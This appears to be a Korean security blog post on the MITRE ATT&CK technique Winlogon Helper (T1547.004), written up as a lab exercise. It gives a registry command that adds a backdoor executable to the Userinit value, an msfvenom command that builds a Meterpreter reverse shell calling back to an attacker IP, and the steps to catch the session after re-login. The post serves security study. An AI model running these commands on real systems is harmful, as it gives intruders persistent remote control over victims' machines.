T1547.004 WinLogon Helper
Description
공격자는 사용자가 로그인할 때 DLL 및/또는 실행 파일을 실행하기 위해 Winlogon의 기능을 남용할 수 있습니다.
Winlogon.exe는 로그온/로그오프 시 작업과 Ctrl-Alt-Delete에 의해 트리거되는 보안 주의 시퀀스(SAS)를 담당하는 Windows 구성 요소입니다.
HKLM\Software[\Wow6432Node\]\Microsoft\Windows NT\CurrentVersion\Winlogon\및 의 레지스트리 항목은
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Winlogon을 지원하는
추가 도우미 프로그램 및 기능을 관리하는 데 사용됩니다.
Test
-환경 : Windows 10 admin privilege cmd
(1) 원본 레지스트리 값 (REG_SZ)
(2) 레지스트리 값 변경
(3) 실행확인(로그오프 후 재로그인)
공격 실습.
※주의※
이후 기술할 공격 실습내용은 본인의 가상환경에서만 실습해보시기 바랍니다.
악용으로 인한 결과는 본 문서의 기술자가 책임지지 않습니다.
+ 실습 시 해당 레지스트리 값에서 userinit.exe와 explorer.exe의 값은 절대 유지하시길 바라며
두번째 인자로 오는 악성 프로그램도 무한루프에 빠지는 등의 기능이 존재하지 않아야 합니다.
이 레지스트리의 값을 잘못 변경하면 드라이브를 포맷해야할 수 있습니다.(가상환경에서만 추천드림)
환경
(1) 레지스트리 값 변경
- Shell과 Userinit에서 악용할 수 있는데, Userinit으로 실습할 예정.
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "C:\Windows\system32\userinit.exe,C:\temp\backdoor.exe" /f
- 잘 변경되었다.
(2) MSFVENOM을 사용하여 64bit 리버스 쉘 exe파일 생성.
info
LHOST : 192.168.75.128
LPORT : 9500
RHOST : 172.25.177.49
- sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.75.128 LPORT=9500 -f exe > backdoor.exe
(3) Simple Pythone HTTP Server를 사용하여 파일을 피해자 환경으로 전송.
- python -m SimpleHTTPServer
(4) 1번에서 지정한 Userinit의 레지스트리의 값으로 이동
(5) 공격자의 시스템에서 reverse handler 시작.
- Payload : windows/x64/meterpreter/reverse_tcp
- LHOST : 192.168.75.128
- LPORT : 9500
(6) 피해자 환경 로그아웃 후 재로그인
(7) 세션이 생성된 핸들러 확인.
- 사용자를 로그아웃하고 재로그인하거나, 재부팅 시 레지스트리의 값이 작동하는 모습이다.
참고문헌 : https://pentestlab.blog/2020/01/14/persistence-winlogon-helper-dll/
'Mitre Att&CT - Privilege Escalation > Boot or Logon Autostart Execution' 카테고리의 다른 글
Time Providers (0) | 2022.05.08 |
---|---|
Security Support Provider (0) | 2022.05.08 |
Registry Run Keys / Startup Folder (0) | 2022.05.08 |